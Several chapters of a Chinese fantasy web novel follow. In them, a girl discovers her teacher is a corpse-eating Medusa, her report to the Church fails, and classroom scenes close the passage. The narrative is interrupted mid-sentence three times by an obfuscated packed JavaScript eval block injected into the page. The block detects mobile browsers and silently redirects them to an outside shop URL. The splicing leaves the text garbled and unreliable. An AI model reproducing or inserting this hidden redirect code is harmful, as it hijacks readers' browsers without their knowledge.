在学生万般期待的目光中,贝娜不负所望地笑着点了点头,坦然回答:“有哦。” 呼—— 悬着的心终于平安落回原位,林瑶几乎是肉眼可见地放松下来展露出灿烂笑颜。 太好啦,不枉她努力忍耐那么久,总算是瞄到了希望的曙光,上天保佑啊! 勉强压制住内心想要立刻尝试的激动情绪,林瑶尽量保持表面平稳地听老师继续讲课。 “当你暂时无法达成大目标时可以先把它拆分成多个自己能完成的小目标,像是做蛋糕嘛,你买不起成品却能买材料自制,一份材料一份材料地加起来最终就合成了美味的蛋糕。” 贝娜微笑着用通俗易懂的方式解答对方的疑惑。 “同步运用到战斗中的话……打比方,我想要敌人死却没法一句话搞定,那就设置多个步骤——想象他的必经之路上有张香蕉皮,他不注意踩中滑倒,碰巧地上有块玻璃碎片,碰巧碎片从后背刺穿心脏,于是他就这么死了。” “当然,敌人也能想出法子来躲避。”贝娜单手支颐笑眯眯道,“力量越强所需的步骤越少,换成我便是敌人被自己的口水直接噎死,一步到位,无需再考虑得那么详细复杂。” 林瑶:“……啥玩意?还能这样吗?原来不止创造武器和动漫角色这一种方法去战斗啊。” ——可恶,贝娜老师也是个强得离谱的怪物!话说她的战力算是本世界的T1级吗?(挠头) 想想她又好奇了:“假设我足够强,是不是不必找多余的譬如淹死的理由,一个‘你去死’的念头就能让人原地暴毙抑或复活?” “是哦。”贝娜维持着托脸的姿势不变,语调显得有些慵懒,“不过能一念断生死的人非常少,在这个世界上仅有三位可以做到这件事。” “第一位自然是我们至高无上的主,第二位则是教宗大人,至于最后一位嘛……”她忽然勾唇,意味深长地看了女孩一眼才慢慢吞吞地接着往下讲,“你应该对他很熟悉了才对。” 我很熟悉? 林瑶蹙紧眉头凝神思考,片刻后不知想到什么表情变得有点古怪:“您是指……我舅舅吗?” 贝娜笑而不语,既没有承认也没有否定,可就是这般模棱两可的态度反倒暴露了真相。 “……” 林瑶垂下眼帘,安静地不再说话了。 “干嘛沉默?很惊讶吗?疼爱自己的好舅舅居然如此可怕?”女人眯着眼笑,瞧见她微妙的神色心情就莫名愉悦。 “……是挺惊讶,然而我并不觉得可怕。”林瑶定了定神,抬起头直视对方,平淡的眼神里透露着一股无论别人说什么都决不动摇的愚蠢固执,“我只相信我眼中的舅舅,相信他对我的爱以及温柔。” “所以——在他确切地伤害我之前,我绝对不会因为一些没有证据的怀疑而伤害他。” “哎呀呀,看来小瑶的心性十分坚定呢。”得到预料之内的回应,手指卷着颊边的一缕青丝,贝娜笑笑就转移了话题不再试着挑拨离间,“关于力量的理论运用大概就是这些,剩下的便是实操了,你还有哪里不明白的吗?” “有。”林瑶果断举起右手提问,“我想知道如何增长容量,这应该不是天生注定的吧?”拜托了,请给弱者一个翻身的机会。 她知道以自己目前的本领是不可能穿越世界的,而自己又不愿意跟教会皇室异端打交道,那就只能拼命变强了。 “其实特别简单。”贝娜悠然悠哉地放松靠着身后的椅背,轻描淡写道,“吞噬就行了呀。” “……哈?” 林瑶顿时愣住,差点怀疑是自己的听力出错了。 可惜对方却笑盈盈地打破了她的妄想。 “恩?不理解?就是吞噬他人的力量用于增强己身啊。”指尖轻轻敲打着轮椅扶手,贝娜挑着眉看她骤然呆滞的傻样,觉得好笑,“呵呵,这不是理所应当的吗?每个人一出生体内便只有那点微薄的力量,想要变强,想要活下去,想要获得更高的权利地位,不就只能掠夺其他人的力量吗?” “莫非你认为教宗大人、林溪晗,包括我在内的全部强者都是生来就拥有如今这般强大实力的吗?完全不是哦。” “强者吞噬弱者,弱者吞噬更弱者,更弱者化为养料反哺大地,人类的进化向来如此,总是伴随着血腥暴力,有什么好震惊的呢?你们不也把鸡鸭鹅鱼当食物,从它们身上获取能量以填饱肚子增加体力吗?都是相通的道理呀。” 她轻笑着,温和的嗓音愈发柔软。 “为何要怀抱虚伪做作的愧疚之心?根本没必要为此感到绝望与痛苦的吧?你只需安然接受真实的自我即可。” “呐,小瑶,平常还是别给自己太大的道德压力比较好,否则会活得很难受很辛苦的,这是忠告。” “……”林瑶一时之间没有立马回话,反而扭头望向了窗外,望向极远处的翠绿海洋。 她沉默许久,才转回视线直勾勾地盯着对方含带笑意的双眼,语气出乎意料的平缓沉静,却是反向质问:“贝娜老师,我刚进学校踏入的那片迷雾森林,里面所有的一切都是您的杰作吗?” “对哟,它是我为学生们精心设计的试炼场。”贝娜弯起眼眸很是愉快地笑了笑,“知道你要来补课我特意叮嘱孩子们收敛了,实际上还有许多新奇有趣的小玩意你没接触到呢,等你掌握住力量了再试着挑战一次吧?” “噢对啦,我都忘记问了,它是不是非常完美?” “是,非常完美。”林瑶淡淡地回复,“完美得让我毫无愧疚痛苦之心。” “哈哈!”贝娜被少女的这番话给逗笑了,乐得直拍轮椅扶手,拍得啪啪作响,眼角甚至冒出了几滴晶莹的泪花。 等好不容易止住大笑,她瞅着少女冷淡的神情,屈指擦掉泪珠笑眯眯道:“比想象中的还要果决呢,原本我以为你会挣扎动摇的……既然如此,那我就抱着期望等待小瑶你的表现了。” “千万千万不要令老师失望哦~” “很遗憾,早在很久以前我就已经失去了挣扎动摇的资格。”林瑶双手插兜站起身,一张漂亮的脸蛋上仍旧是那副淡然冷漠的表情。 “我想借用一下您家的卫生间,请问在哪?” “出了客厅往左走,靠近楼梯的地方。” “谢谢。” 根据指引找到洗手间,林瑶却只是站在镜子前拧开水龙头,弯下腰,并拢五指接住满满的一捧水往脸泼,然后抬手一抓,抓住了凭空显现的干毛巾,随手抹掉面部的水珠又摊开掌心让毛巾消失。 ……唔,不得不说,真是个方便好用的技能啊。 大概掌握了用法的林瑶直起身,对着镜面简单整理完仪容仪表后便准备回客厅,却在经过楼梯口时蓦然听见一声怪异的细响。 顺着动静扭头望去,她才发现楼梯间的墙壁上有一扇木门,倘若不注意观察怕是会错过。 此刻,那扇隐藏的木板门正发出窸窸窣窣的奇特响声。 林瑶下意识驻足,侧耳倾听仔细辨认,感觉好像是某种尖尖的东西在轻轻剐蹭着门板。 可是耐心听了一会她才后知后觉地反应过来—— 这是有人在用指甲挠门的声音。 条件反射地后退一步,小腿却撞上某个硬物,吓得林瑶以为是密室内的那位僵尸先生出来了,猛地握紧钢笔扭身往背后刺去—— “哎呀?这就要弑师证道了?” 瞧见那张熟悉笑脸的瞬间少女紧急刹车,尖硬的笔尖堪堪停在对方的眼珠子前,差一点就要刺穿她整个脑壳了。 “草!”林瑶憋不住地骂出一句脏话,“拜托老师您不要在这个关键时刻突然出声吓我呀!万一我真的刺下去了怎么办?!杀人是会坐牢的!我不想留下终身案底影响考公啊!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001532|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没关系,老师是不会那么轻易地就死掉的,你大可放心考公。”贝娜目睹乖学生变脸,单手托腮,微笑着询问,“我是见你站在楼梯口这么久都不动弹便过来看一看,发生什么事了吗?” 家里养着僵尸还好意思问我咋回事……要说你什么都不知道鬼才信呐! “……没啥,就是路过时听见指甲挠门的声响被吓了一大跳。”林瑶老实巴交地回答。 说来也奇怪,原先还吵闹的动静,贝娜一出现就立刻消失了,仿佛从未响起过,果然老师是食物链的顶端啊。 “屋内有什么吗?” “没什么,是我养的一些小宠物。”女人泰然自若地回应,丝毫不见被人发觉异状的慌张,“偶尔家里来客人它们会表现得有些兴奋,别在意。” “是嘛,那为什么要把它们关起来呢?”林瑶转过身直面对方,眼神格外平静。 “因为怕像刚才那样吓到你嘛。”她游刃有余地解释,“刚刚你不就被吓到了?” “不,知道是宠物后我就不害怕了。”林瑶依然紧盯着老师的眼睛,不放过任何神态的变化,“而且我挺喜欢宠物的,请问我能进去摸一摸它们吗?” “意外的坚持呢……小瑶你该不会是在怀疑我把谁偷藏于密室里了吧?”轻挑眉梢,贝娜饶有兴趣地打量少女,笑着调侃,“我在你眼中的形象真有那么糟糕差劲吗?弄得我都开始怀疑自己是不是一个超级大坏蛋了。” “可以哦,想进就进吧。” “老师您说笑了。”客气归客气,但前进的脚步一点没停,她打开门径直闯入密室,却没看见可爱的猫猫狗狗,只看见满室靠墙的冷藏柜。 方方正正的铁皮箱,寒冷的温度,暗沉的灯光,犹如来到了医院最底层的太平间,冰凉的空气中充斥着令人胆战心惊的阴森恐怖。 “……”被这副过于有冲击力的画面给震住的林瑶直接愣在原地,看傻了。 “瞧瞧,我就说会吓到你吧?”贝娜操控着轮椅慢悠悠地跟在她后面进入房间。 “这下好啦,待会你舅舅又要过来找我麻烦了。” “……” 余光瞥向接近大门的冷藏柜,那个柜子奇异地开了一半,林瑶走过去低头查看,里边正躺着一位脸色铁青、身体僵硬的年轻男人。 他长相稍显普通,不够强壮,却有着一头相当惹人注目的金色短发,两条胳膊搁置在腰部两侧,双眼紧闭。 流淌的时间在他身上停滞,少年将不再衰老,永远地停留在了最美好的青春期。 “……”林瑶挺直腰,转身望向旁边对死亡无动于衷的女人,情绪平和,“这是您的宠物?” “假如你介意我可以改换另外一种说法。”支起两边手肘分开搭在轮椅扶手上,十指相交,贝娜翘起一根食指漫不经心道,“他们都是在战场上不幸牺牲的英勇战士,是圣拜纳迦引以为豪的、我最骄傲的乖巧学生,怎么可能会是宠物呢?方才只是我开的一句玩笑,当真你就输了。” “……” 林瑶定定地直视着她,许久没说话。 从未有过哪一刻会像此刻一样恶心得犯呕想吐,她看着她,如同看着自深渊底部爬出的恶魔,它肆无忌惮地玩弄人心为祸世间、尽情地摧残践踏宝贵生命还在那沾沾自喜不知悔改。 于是少女清晰地意识到—— 名为[贝娜/贝纳奇]的这个人根本就不是人类,仅仅是一个……披着人皮的残忍怪物。 “老师。”林瑶冷静地呼唤,紧紧盯着女人的眼,以一种不容置疑的坚决口吻,咬字极重地、一字一顿地向她说道。 “您会将这群为教会为民众捐躯的值得敬重的学长学姐下葬,让他们入土为安的吧?” “当然。”贝娜毫无迟疑地应承下来,秀美的面容上仍是笑意盈盈,带着不知从何而起的欢悦,热情地留人用餐。 “不讲那些严肃的话题了,中午小瑶你要不要跟老师一起吃饭?” “不必,感谢您的美意,我回家吃就行。”似是厌极了对方,连话都不想多讲,林瑶一鞠躬,为她今天的教导道谢后便扭头返回,打算收拾书包尽早离开这个鬼地方。 贝娜在后边目送她离去,捧着绵软的脸颊,望着女孩毫不犹豫的纤细背影,不禁喃喃自语:“嗯……竟然生气了呢。” 为何? 她回头看向那个半开的冷藏柜,抬起手,柜子里就发出了一阵轻微细小的窸窣声,似乎有什么东西在摩擦柜壁。 由于视角问题,加之一进门的画面带给人的冲击感太强,故而林瑶只是匆匆一瞥没有注意到—— 这具遗体其实少了下半截。 遵从主人的召唤,一条黑得五彩斑斓的毒蛇自人的腹部内缓缓游出,肚子明显大了一圈,吐着猩红的信子爬上轮椅,尾巴缠绕着胳膊,乖巧地任由她把玩自己隐秘的獠牙。 “好孩子。”贝娜抚摸着蛇头由衷地夸奖赞叹。 听着眷属高兴的“嘶嘶”叫声,她的脑海却情不自禁地想起林瑶走前质询自己的那句话。 【老师,你会让他们入土为安吧?】 她忍不住低声笑了出来。 “当然,当然。”明明学生早已离开不在自己的面前,贝娜却仍然饱含肯定地反复回应。 “如果真是人类,我一定会好好安葬他们的,不过嘛……”她微微勾起唇角,侧头亲吻着毒蛇,低垂的目光极尽温柔。 女人的声音含着一抹发自内心的欢愉,轻飘飘地落下。 “食物,怎么能算是人呢?” 26.看透 “真的不打算留下来吃午饭吗?”贝娜坐在轮椅上滑行至客厅,看着玄关处背书包穿鞋准备离开的学生面露遗憾,“老师的厨艺很好哦。” “谢谢,但是真的不用了,家里煮有饭菜。”鞋尖点了点地,确定穿好鞋子的林瑶转过身看向对方,平静地告别,“老师再见。”希望再也不见。 “怎么连小瑶你也讨厌我了?”轻抚脸颊,女人一脸的纳闷不解,“明明是个乖孩子,难道是跟林溪晗学坏了吗?” “与舅舅无关。”林瑶淡淡地解释一句,不想再多费口舌干脆伸出手搭在门把上往下一按。 门“咯吱”一声被打开,将老师的身影关在屋子里头,少女瞧着四周没有任何变化的茂密树林,随之阖眼,于脑海深处想象这片森林消失后的场景。 ——她要毁灭这个蛇窟。 伴随愿望念诵,某种奇妙的东西浮出水面翻搅波动,林瑶只感觉自己体内的力量被大量抽离,形成强烈的龙卷风在半空中盘旋,吹得发丝飞扬乱舞,糊了她满脸。 大概过去几秒钟,风停了。 林瑶抬手把脸上的头发拨开重新扎高,睁眼就发现原本阴森恐怖的密林已然消散,取而代之的是一片长满了各种鲜花的美丽花田。 玫瑰、白百合、郁金香和野蔷薇……红的黄的白的粉紫色的,全部聚到一起绽放开来,化为群芳吐艳的绚烂花海,美艳得无与伦比。 没有会吞噬命运的迷雾也没有能够吸收人体力的花草树木,更没有吃人的蟒蛇,就只是一处单纯的能够令人欣赏陶醉的自然景观。 “哎呀。”隔着一扇玻璃窗静静观赏学生表演的贝娜,看完眼前一幕便拉上窗帘无奈地摇头叹气,“何必呢?等你回家我不还是会重置吗?情况毫无改变。” 所以为何要消耗自己的力量做无用功? 无论是小瑶还是那位,两个小家伙总喜欢干这种没有半点意义的事情,纯粹是浪费时间和精力。 唉,难以理解。 然而林瑶才不管对方理不理解,她只干自己想做的并且认为正确的事,无需他人评价。 摧毁掉这座鬼林子,少女低头打量手掌心,摊开了又握紧,重复好几次后内心终于有了一种“我已成为强者”的实感。 刚进入学校的她思维被“常识”限制,不抱着改造这里的想法,念多少咒语都无法打破现状,而现在……只要她想,完全可以呼风唤雨,做到无所不能,差距明显啊。 ……这股力量不能滥用,否则一定会转变我的心态让我慢慢变得冷酷无情,甚至有一天会自动划分与普通人的界限。 可她明明就是一个普通得不能再普通的凡人。 捏紧拳头,林瑶很清醒,并未因自己变强了就彻底失去理性从此抬着下巴看人,傲慢地鄙夷人,那才是自寻死路呢。 背着书包慢悠悠地走出安全无害的校园,在保安先生惊讶的“你居然还活着”的目光中,她踩着轻快的脚步高兴地离开了圣拜纳迦。 成功脱离魔窟还学到了新知识,自觉艰苦的林瑶决定午餐奖励自己一顿烤肉。 边用夹子夹着一块牛肉放上烤盘刷酱料边分心操控手机登录论坛,她搜索了所有自己能够找到的相关词条却一无所获,网上只有各类咒语口诀的传授,根本就没有教你如何增长法力的办法。 ……看来教会确实很害怕大家知道一切真相后会到处乱来把世界搞得一团糟,封禁封得特别彻底呀。 林瑶晃了晃脑袋收拾好情绪望向窗外,本想看看外面人行道上的风景转移一下注意力,却意外地看见了一位“老朋友”。 娇小玲珑又可爱,扎着麻花辫,穿着清新风格的碎花连衣裙——是罗丽娅。 她怀内抱着精致的洋娃娃,站在一家商铺外,整个人都贴在了橱窗上,满脸渴望地盯着那些摆放于店里的比自己这个更加昂贵漂亮的洋娃娃,似乎是想要得不行却又不够闲钱买,因此纠结犹豫得一张娇美的小脸蛋都微微扭曲了起来。 ——工资太低,连喜欢的东西都买不起,气死! 敏锐地察觉到他人的视线,不知是谁的罗丽娅平复心态冷漠地回望,却正好对上一双写满了单纯好奇毫无恶意的黝黑眼眸,如绵羊般纯净。 女孩咦了一声:“小瑶?” 林瑶见状连忙举手朝对方挥了挥,邀请她过来。 于是罗丽娅就搂着娃娃立刻“啪嗒啪嗒”地踩着地面飞速窜进烤肉店。 “好久不见啦,罗丽娅女士。”林瑶叫服务员送茶来又往旁挪位置,笑着向她打招呼,“最近忙吗?” “工作嘛,不都那样?哪有什么忙不忙的……”罗丽娅小心翼翼地把娃娃收好才耸了耸肩膀回答,“倒是小瑶你,在帝都生活得怎么样?还习惯吗?” “听说你去了圣拜纳迦的附属中学读书,如何?学习顺利吧?有不懂的地方么?” “顺利顺利。”不想让别人(尤其是舅舅的得力干将)知晓其中详情,林瑶便打着哈哈试图蒙混过关,“贝娜老师是一位教学能力相当优秀的老师,我从她那里学到了很多有用的知识,增广了不少见闻。” “贝娜……啊,原来老大给你安排的老师是贝纳奇呀。”听到那个名字的瞬间罗丽娅就本能地流露嫌弃,等回过神来扫视对面,张了张嘴,面上忍不住露出欲言又止的神情。 就是那种想说点什么却又不知该说点什么好的踌躇,最后也只能干巴巴地憋出一句:“他……他呀,教学方面确实有些不同寻常,你别在意。” ……我没说过在意啊?果然你们都是知情者吧?难道教会高层就没一个人觉得他的做法不对吗?或者知道不对也懒得管?这个世道真是烂透了。 林瑶沉默许久,调整完状态抬眸直视对方,心平气和地开口询问:“所以教会是持放纵态度的吗?” ——这几乎是明晃晃的质疑了。 “我明白你的意思,小瑶,我也明白你心底潜藏的那份怒火。”女孩叹着气,无可奈何的同时又带着难以发觉的淡漠,“但这是得到主认可的并且来自教宗大人的任命,那么——” “无论贝纳奇的做法有多冷酷残忍,也都是合理合规不容凡人置喙的。” 她再度叹息,甚至目露怜悯地好心劝告。 “你必须接受这一点,小瑶,不然会被裁判所当作异端给清除掉的。” “……”林瑶没有立马回话。 她安静了几分钟,再次出声却是另外的问题。 “贝纳奇校长应该不是人类吧?”那种异常的思考方式压根不是人能有的。 “以及,她坐轮椅是由于腿曾经受过重伤吗?” “……他的确不是人类,选择坐轮椅也是有他自己的理由的。”女孩迟疑片刻,似乎是不确定能否告知对方真相,可抬头瞄了眼她过于平淡的脸色便决定老实交代,“贝纳奇的真身是美杜莎哦。” “……美杜莎?”林瑶第一反应就是古希腊神话中那位能通过注视把人变成石头的蛇发女妖。 “跟你想的不太一样啦,总之具体的你可以去买本《种族鉴定大全》看,里边有专业的详细介绍。”她抱紧洋娃娃跳下椅子,“我有急事就先走了。” “好的,慢走,路上请注意安全。”林瑶点了点头乖巧道别,余光瞥见对方始终牢牢护住好像非常珍重的宝贵玩偶,随口一问,“您喜欢洋娃娃吗?” “嗯。”罗丽娅轻轻地应了一声,笑容浅淡,仿佛回想起了过去的某些往事,眼神忽然变得很温柔。 “因为我的哥哥喜欢。” …… 跟罗丽娅聊完得知那么多糟心事的林瑶哪还有心情继续吃饭,匆匆吃掉最后一口肉去前台买单就直奔街对面的书店,找老板买了本《异种族鉴定大全》回家翻看阅读。 下午两点半,仍是舅舅的上班时间,家中无人,正好方便了自己,免得看完书要是情绪大爆发了不至于误伤群众。 回房间关紧卧室门,林瑶踢掉拖鞋拿着书直直摔进柔软的床铺,打了个滚舒舒服服地睡在被子上翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014582|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开书本高举到身前。 她按照目录直接把书翻到了介绍蛇妖的那一页,指尖点着书上的文字一行一行划过,在心底默念。 【美杜莎,本体为半人半蛇,与美人鱼的生理结构相似,上半身皆是人型,下半身皆是粗壮巨大的蛇尾,在陆地上的速度极快,于全部种族中可排前三,血液里含有剧毒,触之即死,喜食尸,多出没于阴寒潮湿的森林,天性残酷无情无义,是少有的仍保留旧时代习性的种族。 注:美杜莎吃掉猎物后可伪装成猎物的模样进行二次狩猎,遇见者请提高警惕。】 “……” 林瑶读到这里,莫名其妙的,竟想起了那间密室里堆满的冷藏柜与内部的众多尸体,想起了毒蛇热情洋溢、依依不舍的午饭邀请。 冰冷的、僵硬的、铁青的、可食用的……食物。 一股极其剧烈的呕吐感从胃部涌上喉咙。 林瑶突然翻身扒着床头“哇”地呕出了一地尚未消化完的午餐,手指弯曲死死扣紧枕巾,颤抖着,漂亮的脸痛苦狰狞。 她又一次呕吐,直至吐到没有东西可以再吐,只呕出酸水,才颤颤巍巍地从床上爬起来找手机。 没有管室内的满地狼藉,林瑶深吸几口气强迫自己冷静,搜索教会的官网,抖着大拇指在键盘上敲字匿名举报。 致尊敬的主教大人: 我要举报圣拜纳迦的校长贝纳奇肆意残害学生,甚至侮辱将士遗体,将其当作盘中餐,铁证如山,请严查并予以撤职处罚,给学生一份交代。 署名:一位饱受折磨的可怜信徒。 在信尾附上根据记忆幻化出的几张证据照片,林瑶点击发送,这才缓缓地吐出一口长气。 她不指望教会惩罚贝娜,但至少要把她的校长职位撤下,不能再让她祸害别人。 ……我也只能做到这种微不足道的程度了。 林瑶瘫软地跪坐在床上面露苦笑。 ……真是太没用了,我,如果换别的大佬来肯定能想出更好的方法。 然而没多久,教会那边就回信了。 致尊敬虔诚的信徒小姐: 关于您的举报,因涉及圣拜纳迦的教职人员,相关部门十分重视,已转交给裁判所受理,现请您提供确切的贝纳奇校长肆意残害学生与遗体身份为将士的证据,若提供虚假证据或拿不出确切证据,您将构成诽谤污蔑罪受法院传唤判处三年有期徒刑。 注:贝纳奇校长的种族为美杜莎,食尸是该种族的特性,只要购买渠道合法,便是无罪。 署名:教会投诉中心。 “……”盯着这封回信,林瑶闭上眼睛,深呼吸,再睁开眼时已是面无表情。 “因匿名,所以教会无法查到举报人是谁。”冷冷地丢下一句,使用力量覆盖真实以免被查,又登录论坛匿名把这件事发到网上试图引起舆论,可结果却与想象的画面大不相同。 [哪个煞笔发的?不会是异端吧?@裁判所] [真的假的?话说哪怕是真的也无所谓啦,既然会死就证明不够强,弱者有什么资格活下去?] [我是圣拜纳迦的学生,楼主你懂个屁!那不叫残害叫试炼好吗?!本身圣拜纳迦就是教会用于培养人才的训练基地,若能活着毕业保准进入裁判所打异端,所有的牺牲都是为了维护主的荣光!这是我们的荣耀!你究竟懂不懂啊臭傻逼?!] …… 许许多多的留言,没两分钟评论就刷新到了上千条,几乎都是骂声,根本无人站在她这边理智发言。 林瑶看着手机,看着那些恶臭狠毒的言论,然后一脸平静地关掉页面,随手把它扔到一旁。 放松身子往后躺倒,她张开双臂,静静注视着头顶的天花板,久久不言。 半晌。 少女抬起胳膊横挡在眼前,压灭了从窗外照射而来的阳光,纵容自己沉浸于黑暗。 她略微翕动嘴唇,近乎无声地轻轻呢喃。 “这个烂透了的世界……” 27.交谈 拉开衣柜取出一件白衬衫换掉休闲服,修长的手指一颗一颗扣着纽扣。 “前几日我收到一个通知,说是有人举报我虐杀学生还侮辱将士遗体,要叫裁判所调查处罚我撤我的职呢。”如碧玉般翠绿通透的竹叶青盘成一团趴在窗台上,大约有半米多长,两指并拢的宽度,正懒洋洋地甩着尾巴晒太阳。 毒蛇吐着猩红的信子轻柔地笑,像是被女孩使出的小手段给逗乐了:“呵呵,活了这么久我还是头一次遇见用这种方式对付我的人。” “真可爱呀,小瑶。” 深色的领带绕过脖颈灵活地打了个结,右手拿起桌面的机械表戴在左腕上,“咔哒”一声扣紧。 “你不知道,那天她表示绝对不会放过我时我还非常期待,结果没想到她居然选择举报,恩……难道是在普通人的社会里待久了被同化了吗?真是天真又单纯的性子。”它悠悠抬起上半身,舒展身躯游至一旁啧啧称奇,“你是不是把她教坏啦?我早就说过该让我来的,教育孩子太心软可不行。” “而且连续两位都是这样的软弱性格,那肯定是你们的做法哪里出错了嘛……” 慢条斯理地整理衣袖,最后穿上西装外套的林溪晗捏着腕骨活动两圈,终于转身将目光投向对方,眼中的神色却很冷漠。 “贝纳奇,你是永远学不会闭嘴吗?”淡然的表情下是一片隐藏极深的厌恶,他看着它,仿佛在看一只聒噪烦人的夏蝉,“况且我记得之前有提醒过你不许吓到小瑶吧?怎么?继眼瞎后你又耳聋了吗?在小瑶面前藏好你那些恶心的怪癖很困难?” “还是说……”黑发青年微微扬起下巴,漠然的语气令蛇一僵,“你是在故意挑战我的耐心?” “贝纳奇,你该不会以为有了贝娜做挡箭牌就可以肆无忌惮地踩着我们的底线玩吧?” 两秒,或者过去更久。 原先僵硬无比的毒蛇慢慢放软身段,再开口时声音竟透着一股明显的虚弱,似乎在刚才受到了某种极致命的重伤:“哪有,明明是小瑶自己发现不对劲非要深究,我还阻止了呢,拦不住我有什么办法?难不成硬来?真是的,为何这也要怪到我头上啊?” 倒是讲点理呀!那是他能靠嘴就说服的对象吗?如果使用武力……恐怕消失的就变成他了。 “你在质疑我?” “不敢,话说你是怎么听出这层意思的?”贝纳奇顿觉无语,想找茬也不是这么个找法吧? 懒得跟对方计较(计较也没啥用处),它又甩了甩尾巴语调恢复正常地问:“对啦,小瑶已经掌握力量的使用方法了,估计很快就会变强,然后呢?你们接下来的计划是什么?” “接下来嘛……”仍旧是那副毫不在意的没什么变化的神情,林溪晗低垂下眼帘沉吟,“或许可以考虑让他们见面了。” “噢,你一提到这件事我就突然想起,上个月异端那边不是有动静?皇室好像也不太安分呐,要不要先把隐患处理掉呀?我愿意无偿帮忙哦~” 似是回忆起了某种难以忘怀的甜美滋味,蛇吐着信子,轻笑声中藏着一抹不易察觉的垂涎,满含的恶意快要从缸里溢出,令人作呕。 “不需要,你的任务就此结束。”打理好自己,林溪晗往前几步伸手握住门把按下,冷冷地警告,“别做多余的事。” “恩?你要去哪?有任务?”见这个小心眼的男人准备离开,它不禁面露疑惑,“今天圣拜纳迦的附属中学要召开全年级的家长会,你不打算参加吗?” 咋回事?宠爱外甥女狂魔今日是被病毒入侵了? 林溪晗并未停止脚步,只是淡淡地回答:“少在那里乱猜,我现在就是去参加小瑶的家长会。” 什么新的任务?没有任务。 所有的工作都要为小瑶的事情让道,无一例外。 ***** “于公式的第二段加上火系变奏可使原来的冲击炮增添类似爆炎弹的威力……” 讲台上,负责教魔法的老师正滔滔不绝地拿着本教科书授课,嘴里喷出的唾沫撒得满台都是。 讲台下,学生单手托腮侧头望着窗外的小鸟发呆走神,摊开的笔记本是一字不动,完全的空白。 坐在旁边的黑发少年看了看上面讲课的老师又看了看左侧心思显然不知飘去哪的女同学,忍不住出声询问:“你身体最近不舒服吗?” “……嗯?”林瑶回过神,扭头望着对方一脸困惑,不明白他为什么会这么问,“没有呀,我身体健康得能打死一头牛呢。” “因为以前上课你都会认真听讲并做笔记的。”艾遥十分平静地回答她疑问,“但这几天你的注意力根本不在课堂上。” “从星期一起就这样了,是周末两天发生什么事了吗?”他的眼神很专注,透露着真切的关心,“我能感觉到你的情绪非常低落,甚至带有一点疲倦。” “……”林瑶不由得沉默。 她沉默了许久,又移开眼将视线投向窗户外影影绰绰的树影,脸上的神情于此刻忽然变得寡淡无味,仿佛对这世间的一切都丧失了探索的兴趣。 ……这不是一个好兆头。 瞧见少女眼中那抹明晃晃的倦怠与厌弃,艾遥张了张嘴,刚想说点什么,林瑶就转回了脑袋定定地注视着自己,如墨玉般的黝黑眼眸里倒映出他的面容。 “艾遥,你还记得我先前问你为何不做笔记,你说没必要吗?”她一字一顿地开口,发音清晰,语气平缓且沉稳。 “方便告诉我原因么?我想知道。” 艾遥愣住,听见这番话,加之贝娜曾出现在校园试图引诱对方,于是他瞬间地意识到——女孩很有可能知晓了真相,那个残酷的真相。 不仅如此……她可能还直面了圣拜纳迦隐藏于虚伪假象下的血腥黑暗与贝纳奇的真身。 须臾之间,一股极其愤怒的无名火焰倏地涌上心头灼烧着他,将那捧本以为早就万念俱灰陷入死寂的情感重新融化成了滚烫蒸腾的沸水。 为什么——他们总要把无辜的人拖下水?! 可是少年没有表露内心的怒火,只是闭了闭眼,再次睁开时已平复好全部情绪,彻底地冷静下来。 “其实你心中早已有了答案,现在不过是想找我要个确认罢了。”他神色冷淡,轻缓平和的口吻却流露出特意伪装过的严酷与残忍。 “然而你又怎么确定——我不会跟着一起骗你?” 闻言林瑶半侧身地抬手撑着脸颊仔细打量对方,不答反问:“你会吗?” “……我不会吗?” “哦,所以你会吗?” “……”不懂该如何作答的艾遥索性闭嘴安静了。 见他保持沉默,林瑶屈指挠了挠额头,在内心斟酌一番后才讲道:“我又分不清真假,可既然大家都是用的同一套公式写数学题,那我也就只能照做了,这种情况下纠结骗不骗的……实际没啥意义吧?” “假如我真的挨骗了,就到那时再谈吧,反正总有解决办法的。” 说这话的时候,女孩的表情从头到尾都很平静。 艾遥不免有些惊讶地高看她一眼。 如此阔达坚定的态度,林瑶居然是那种一旦下定决心就会一条路走到黑、无论谁劝都劝不回的异常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024130|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顽固的人啊。 “你不介意?”对于必须吞噬别人的力量自己才能变强这一点。 艾遥几乎是下意识地追问,开始对她产生好奇。 “……瞧你的反应看来真是那样了。”否则他是不会对她的想法感到诧异的。 “我有不得不变强的理由,因此只能这么干。”林瑶放下胳膊,趴倒在桌子上,侧脸贴着桌面,压出肉肉的弧度,“毕竟没有第二条路可以让我走呀。” 